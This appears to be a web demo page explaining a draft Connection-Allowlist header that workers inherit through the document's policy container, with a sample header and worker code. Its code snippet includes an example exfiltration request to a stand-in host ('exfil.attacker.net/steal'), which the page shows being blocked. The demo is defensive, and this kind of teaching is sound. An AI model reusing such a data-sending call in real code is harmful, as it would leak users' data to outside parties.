v152 · security · workers

Worker Propagation Demo

A document's connection allowlist is stored with its policy container and inherited by workers it creates. Tune the response header, choose a worker context, and inspect how worker requests are blocked, allowed, or reported without letting worker code expand the inherited policy.

Simulation boundary This demo does not install a browser-enforced header on the page. It mirrors the draft algorithm in-page so unsupported browsers still show the policy-container fallback path instead of failing silently.
1. Document responseThe server sends Connection-Allowlist or the report-only variant with URL patterns.
2. Policy containerHTML carries that policy into dedicated, shared, and service worker contexts created by the document.
3. Worker requestsEach request is checked against the inherited patterns before leaving the user agent.

Inherited policy

Worker-side requests


    

  


  

    
Evaluation log

    

      
        

          context
          request
          verdict
          reason
        

      
      
    

  


  

    
code shape


// Sent by the document response:
Connection-Allowlist:
  (response-origin "https://api.myapp.com" "https://*.cdn.myapp.com");
  redirects=block; webrtc=block; report-to=network

// The worker does not call an allowlist API.
// It inherits the policy through the document's policy container.
const worker = new Worker("/worker.js");
worker.postMessage({ type: "fetch", url: "https://exfil.attacker.net/steal" });
// Result in enforce mode: NetworkError before the request leaves the browser.

  


  

    
references